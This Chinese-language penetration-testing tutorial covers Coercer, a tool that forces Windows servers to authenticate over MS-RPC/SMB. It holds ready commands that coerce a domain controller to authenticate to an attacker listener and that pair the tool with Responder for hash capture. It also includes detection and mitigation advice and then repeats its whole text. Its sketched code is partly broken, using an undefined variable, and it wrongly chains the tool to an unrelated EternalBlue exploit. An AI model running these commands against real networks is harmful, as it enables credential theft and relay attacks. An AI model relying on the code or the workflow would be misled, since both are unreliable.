域渗透之MS-RPC协议自动化评估工具Coerce分析
字数 2765 2025-08-06 12:20:48

MS-RPC协议自动化评估工具Coerce深度解析与使用指南

1. Coercer工具概述

Coercer是一个用于自动强制Windows服务器在任意机器上进行身份验证的Python脚本,专为安全研究人员和渗透测试人员设计。

核心功能

  • 列出远程机器上的开放SMB管道
  • 尝试连接远程机器上已知的SMB管道列表
  • 逐个调用易受攻击的RPC函数
  • 生成随机UNC路径以避免缓存失败的尝试
  • 可配置尝试之间的延迟

主要特点

  • 支持按方法名称、协议名称或管道名称进行筛选
  • 可指定单个目标机器或从文件中指定多个目标
  • 可指定IP地址或接口以侦听传入的身份验证
  • 支持SQLite、JSON和XSLX格式的结果导出

2. 相关协议基础

2.1 MS-RPC协议

MS-RPC(Microsoft Remote Procedure Call)是Microsoft开发的远程过程调用协议。

主要组成部分

  • 命名管道(Named Pipes): 基于SMB协议的双向通信机制
  • 接口UUID: 全局唯一标识符,用于标识特定接口
  • 版本号: 表示接口的特定实现版本

安全风险

  • 远程代码执行
  • 拒绝服务攻击
  • 未授权访问

2.2 SMB协议

SMB(Server Message Block)是应用层网络协议,主要用于局域网资源共享。

特点

  • 可靠性(TCP/IP传输层)
  • 安全性(访问控制、加密和签名)
  • 易用性(操作系统高度集成)
  • 可扩展性(支持多种扩展功能)

安全风险

  • 中间人攻击
  • 拒绝服务
  • 未授权访问

2.3 MS-RPC与SMB的关系

  • MS-RPC可通过SMB协议进行传输
  • SMB充当MS-RPC的底层传输协议
  • 两者可协作实现跨网络远程访问功能

3. Coercer代码深度解析

3.1 核心功能模块

try_login函数

def try_login(target, credentials, port=445, verbose=False):
    """
    尝试使用给定凭据登录目标系统
    :param target: 目标IP或主机名
    :param credentials: 认证凭据
    :param port: SMB端口(默认445)
    :param verbose: 是否输出详细信息
    :return: 登录成功返回True,否则False
    """
    # 检查匿名凭据
    if credentials.is_anonymous():
        return True
    
    try:
        # 创建SMB连接
        conn = SMBConnection(target, target, sess_port=port)
        # 尝试登录
        conn.login(credentials.username, credentials.password, 
                  credentials.domain, credentials.lmhash, 
                  credentials.nthash)
        return True
    except Exception as e:
        if verbose:
            print(f"登录失败: {str(e)}")
        return False

action_coerce函数

def action_coerce(options, credentials, reporter):
    """
    执行操控操作,使目标系统尝试进行身份验证
    :param options: 命令行选项
    :param credentials: 认证凭据
    :param reporter: 结果报告器
    """
    # 过滤可用方法
    filtered_methods = Filter(options).filter_methods()
    
    # 遍历所有方法组合
    for pipe, uuid, version, methods in filtered_methods:
        try:
            # 连接到管道
            dce = connect_to_pipe(target, pipe, credentials)
            
            # 绑定到接口
            dce.bind(uuid, version)
            
            # 尝试触发身份验证
            for method in methods:
                trigger_authentication(dce, method, options.auth_type)
                
        except Exception as e:
            reporter.report_error(str(e))

3.2 工作模式

Coercer根据options.mode执行三种操作模式:

3.2.1 强制模式(coerce)

  1. 尝试使用给定凭据登录目标
  2. 遍历所有可用方法组合(管道、UUID、版本)
  3. 连接到管道并绑定到接口
  4. 尝试触发身份验证
  5. 生成随机UNC路径避免缓存问题

3.2.2 扫描模式(scan)

  1. 过滤可用方法
  2. 按类别和方法名称排序
  3. 遍历所有命名管道任务
  4. 检查管道连接和会话绑定
  5. 测试所有可能的协议类和方法

3.2.3 模糊测试模式(fuzz)

  1. 初始化并应用过滤器
  2. 准备远程命名管道列表(匿名或获取)
  3. 执行类似扫描模式的测试
  4. 寻找引发错误或异常行为的输入
  5. 捕获和处理各种结果

4. 详细使用教程

4.1 安装与配置

安装依赖

pip install impacket
pip install pycryptodomex
pip install ldap3

克隆仓库

git clone https://github.com/username/Coercer.git
cd Coercer

4.2 基本命令

强制模式示例

python coercer.py coerce -t 192.168.1.100 -l 192.168.1.1

扫描模式示例

python coercer.py scan -t 192.168.1.100 -u admin -p password

模糊测试示例

python coercer.py fuzz -t 192.168.1.100 -o results.json

4.3 高级选项

选项 描述 示例
-t/--target 目标IP或主机名 -t 192.168.1.100
-f/--target-file 包含多个目标的文件 -f targets.txt
-l/--listen-ip 监听传入认证的IP -l 192.168.1.1
-a/--auth-type 认证类型(smb/http) -a http
-d/--delay 尝试之间的延迟(秒) -d 2
-o/--output 输出文件(JSON/SQLite/XSLX) -o results.xlsx
--filter-method 按方法名称过滤 --filter-method EfsRpcOpenFileRaw
--filter-pipe 按管道名称过滤 --filter-pipe lsarpc

4.4 实际应用场景

场景1:识别易受攻击的RPC端点

python coercer.py scan -t 192.168.1.100 -u domain\user -p password --filter-pipe samr

场景2:强制域控制器进行身份验证

python coercer.py coerce -t dc01.domain.com -l attacker.ip -a smb

场景3:大规模网络评估

python coercer.py scan -f domain_controllers.txt -o dc_scan_results.sqlite

5. 防御与缓解措施

5.1 检测Coercer活动

监控指标

  • 异常的SMB管道访问模式
  • 频繁的RPC绑定尝试
  • 非常规UUID访问记录
  • 来自同一源的多种身份验证尝试

Windows事件日志

  • 事件ID 4624(登录成功)
  • 事件ID 4625(登录失败)
  • 事件ID 5140(网络共享访问)

5.2 防护措施

网络层防护

  • 限制SMB(445/TCP)和RPC端口(135/TCP)的访问
  • 实施网络分段,隔离关键服务器
  • 启用SMB签名

系统层防护

  • 应用最新的Windows安全更新
  • 禁用不必要的命名管道
  • 配置防火墙规则限制RPC访问
  • 启用Windows Defender攻击面减少规则

组策略配置

  • 配置"网络安全: 限制NTLM: 远程服务器例外"
  • 启用"网络安全: 限制NTLM: 审计NTLM身份验证"
  • 配置"网络安全: 限制NTLM: 添加远程服务器例外"

6. 高级技巧与最佳实践

6.1 优化扫描性能

并行扫描

from multiprocessing import Pool

def scan_target(target):
    # 实现扫描逻辑
    pass

if __name__ == '__main__':
    targets = ['192.168.1.{}'.format(i) for i in range(1,255)]
    with Pool(10) as p:  # 10个进程
        p.map(scan_target, targets)

智能延迟设置

  • 根据网络延迟动态调整-d参数
  • 失败后自动增加延迟
  • 成功响应后减少延迟

6.2 结果分析与报告

JSON结果示例分析

{
  "target": "192.168.1.100",
  "timestamp": "2023-05-15T14:30:00Z",
  "findings": [
    {
      "pipe": "lsarpc",
      "uuid": "12345678-1234-1234-1234-123456789abc",
      "version": "1.0",
      "method": "EfsRpcOpenFileRaw",
      "status": "vulnerable",
      "auth_type": "smb"
    }
  ]
}

使用Pandas分析结果

import pandas as pd

df = pd.read_json('results.json')
vulnerable = df[df['status'] == 'vulnerable']
print(vulnerable.groupby('pipe').size().sort_values(ascending=False))

6.3 集成到渗透测试工作流

与Responder集成

# 在第一个终端启动Responder
python Responder.py -I eth0

# 在第二个终端运行Coercer
python coercer.py coerce -t 192.168.1.100 -l attacker.ip -a smb

与Metasploit结合

# 使用Coercer识别漏洞后
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
exploit

7. 常见问题解答

Q1: Coercer与PetitPotam有何区别?

A: Coercer是一个更通用的MS-RPC测试框架,而PetitPotam专门针对特定的MS-EFSRPC漏洞。Coercer可以测试多种RPC接口,覆盖面更广。

Q2: 为什么某些管道无法访问?

A: 可能原因包括:

  • 目标系统上服务未运行
  • 网络防火墙阻止访问
  • 账户权限不足
  • 目标系统已应用安全补丁

Q3: 如何判断测试是否成功?

A: 成功指标:

  • 监听器收到身份验证尝试
  • 工具报告"vulnerable"状态
  • Windows事件日志显示来自目标的认证请求

Q4: 测试对企业网络的影响?

A: Coercer会产生大量认证请求,可能导致:

  • 网络流量增加
  • 目标系统日志增长
  • 可能的账户锁定(如果配置了锁定策略)
    建议在非生产时段进行测试,并通知相关团队。

8. 总结与资源

关键点总结

  1. Coercer是评估MS-RPC安全性的多功能工具
  2. 支持三种操作模式:强制、扫描和模糊测试
  3. 依赖MS-RPC和SMB协议的工作机制
  4. 可识别多种NTLM中继和RPC相关漏洞
  5. 需谨慎使用,避免生产环境中断

扩展资源

  • Microsoft MS-RPC协议文档
  • Impacket库文档
  • Samba SMB实现源代码
  • MITRE ATT&CK相关技术(T1558、T1570)
  • Windows安全基线指南
MS-RPC协议自动化评估工具Coerce深度解析与使用指南 1. Coercer工具概述 Coercer是一个用于自动强制Windows服务器在任意机器上进行身份验证的Python脚本,专为安全研究人员和渗透测试人员设计。 核心功能 列出远程机器上的开放SMB管道 尝试连接远程机器上已知的SMB管道列表 逐个调用易受攻击的RPC函数 生成随机UNC路径以避免缓存失败的尝试 可配置尝试之间的延迟 主要特点 支持按方法名称、协议名称或管道名称进行筛选 可指定单个目标机器或从文件中指定多个目标 可指定IP地址或接口以侦听传入的身份验证 支持SQLite、JSON和XSLX格式的结果导出 2. 相关协议基础 2.1 MS-RPC协议 MS-RPC(Microsoft Remote Procedure Call)是Microsoft开发的远程过程调用协议。 主要组成部分 命名管道(Named Pipes) : 基于SMB协议的双向通信机制 接口UUID : 全局唯一标识符,用于标识特定接口 版本号 : 表示接口的特定实现版本 安全风险 远程代码执行 拒绝服务攻击 未授权访问 2.2 SMB协议 SMB(Server Message Block)是应用层网络协议,主要用于局域网资源共享。 特点 可靠性(TCP/IP传输层) 安全性(访问控制、加密和签名) 易用性(操作系统高度集成) 可扩展性(支持多种扩展功能) 安全风险 中间人攻击 拒绝服务 未授权访问 2.3 MS-RPC与SMB的关系 MS-RPC可通过SMB协议进行传输 SMB充当MS-RPC的底层传输协议 两者可协作实现跨网络远程访问功能 3. Coercer代码深度解析 3.1 核心功能模块 try_ login函数 action_ coerce函数 3.2 工作模式 Coercer根据 options.mode 执行三种操作模式: 3.2.1 强制模式(coerce) 尝试使用给定凭据登录目标 遍历所有可用方法组合(管道、UUID、版本) 连接到管道并绑定到接口 尝试触发身份验证 生成随机UNC路径避免缓存问题 3.2.2 扫描模式(scan) 过滤可用方法 按类别和方法名称排序 遍历所有命名管道任务 检查管道连接和会话绑定 测试所有可能的协议类和方法 3.2.3 模糊测试模式(fuzz) 初始化并应用过滤器 准备远程命名管道列表(匿名或获取) 执行类似扫描模式的测试 寻找引发错误或异常行为的输入 捕获和处理各种结果 4. 详细使用教程 4.1 安装与配置 安装依赖 克隆仓库 4.2 基本命令 强制模式示例 扫描模式示例 模糊测试示例 4.3 高级选项 | 选项 | 描述 | 示例 | |------|------|------| | -t/--target | 目标IP或主机名 | -t 192.168.1.100 | | -f/--target-file | 包含多个目标的文件 | -f targets.txt | | -l/--listen-ip | 监听传入认证的IP | -l 192.168.1.1 | | -a/--auth-type | 认证类型(smb/http) | -a http | | -d/--delay | 尝试之间的延迟(秒) | -d 2 | | -o/--output | 输出文件(JSON/SQLite/XSLX) | -o results.xlsx | | --filter-method | 按方法名称过滤 | --filter-method EfsRpcOpenFileRaw | | --filter-pipe | 按管道名称过滤 | --filter-pipe lsarpc | 4.4 实际应用场景 场景1:识别易受攻击的RPC端点 场景2:强制域控制器进行身份验证 场景3:大规模网络评估 5. 防御与缓解措施 5.1 检测Coercer活动 监控指标 异常的SMB管道访问模式 频繁的RPC绑定尝试 非常规UUID访问记录 来自同一源的多种身份验证尝试 Windows事件日志 事件ID 4624(登录成功) 事件ID 4625(登录失败) 事件ID 5140(网络共享访问) 5.2 防护措施 网络层防护 限制SMB(445/TCP)和RPC端口(135/TCP)的访问 实施网络分段,隔离关键服务器 启用SMB签名 系统层防护 应用最新的Windows安全更新 禁用不必要的命名管道 配置防火墙规则限制RPC访问 启用Windows Defender攻击面减少规则 组策略配置 配置"网络安全: 限制NTLM: 远程服务器例外" 启用"网络安全: 限制NTLM: 审计NTLM身份验证" 配置"网络安全: 限制NTLM: 添加远程服务器例外" 6. 高级技巧与最佳实践 6.1 优化扫描性能 并行扫描 智能延迟设置 根据网络延迟动态调整 -d 参数 失败后自动增加延迟 成功响应后减少延迟 6.2 结果分析与报告 JSON结果示例分析 使用Pandas分析结果 6.3 集成到渗透测试工作流 与Responder集成 与Metasploit结合 7. 常见问题解答 Q1: Coercer与PetitPotam有何区别? A: Coercer是一个更通用的MS-RPC测试框架,而PetitPotam专门针对特定的MS-EFSRPC漏洞。Coercer可以测试多种RPC接口,覆盖面更广。 Q2: 为什么某些管道无法访问? A: 可能原因包括: 目标系统上服务未运行 网络防火墙阻止访问 账户权限不足 目标系统已应用安全补丁 Q3: 如何判断测试是否成功? A: 成功指标: 监听器收到身份验证尝试 工具报告"vulnerable"状态 Windows事件日志显示来自目标的认证请求 Q4: 测试对企业网络的影响? A: Coercer会产生大量认证请求,可能导致: 网络流量增加 目标系统日志增长 可能的账户锁定(如果配置了锁定策略) 建议在非生产时段进行测试,并通知相关团队。 8. 总结与资源 关键点总结 Coercer是评估MS-RPC安全性的多功能工具 支持三种操作模式:强制、扫描和模糊测试 依赖MS-RPC和SMB协议的工作机制 可识别多种NTLM中继和RPC相关漏洞 需谨慎使用,避免生产环境中断 扩展资源 Microsoft MS-RPC协议文档 Impacket库文档 Samba SMB实现源代码 MITRE ATT&CK相关技术(T1558、T1570) Windows安全基线指南